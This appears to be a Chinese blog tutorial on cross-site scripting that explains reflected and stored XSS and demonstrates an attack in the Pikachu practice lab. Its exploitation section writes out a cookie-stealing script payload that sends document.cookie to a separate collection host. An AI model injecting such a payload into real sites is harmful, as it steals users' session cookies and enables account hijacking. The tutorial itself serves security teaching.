XSS(跨站脚本攻击)

1.原理

        跨站脚本攻击XSS(Cross Site Scripting)是指攻击者使用JavaScript语句向web页面插入恶意代码,用户访问该页面时,恶意代码执行从而窃取用户信息的攻击方式。

2.危害

针对用户针对web服务
窃取cookie劫持后台
网络钓鱼内网扫描
放马挖矿篡改页面
广告传播蠕虫

3.类型

  • 反射型XSS

        将恶意脚本附加到URL地址参数中或查询框里,可将URL链接发给受害者,受害者点击访问即触发,只执行一次,交互数据不会存储到数据库里。

image-20230921122023137

image-20230921122140053

  • 存储型XSS

        交互数据会被存储到服务器里永久储存,一般出现在评论区或留言板,具有持久危害。

image-20230921152437267

每次访问该页面时都会执行。

image-20230921152607437

4.利用

        在查询框里放入js语句,获取用户cookies传入后台(这里的用户是192.168.248.1,后台为192.168.57.1)

<script>document.location="http://192.168.57.1/pikachu/pkxss/xcookie/cookie.php?cookie="+document.cookie;</script>

image-20230922181335535

image-20230922181354948

 在后台中可以看到来自用户的信息

image-20230922181237498

文章部分转载自 https://blog.csdn.net/qq_44857938/article/details/118034947

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值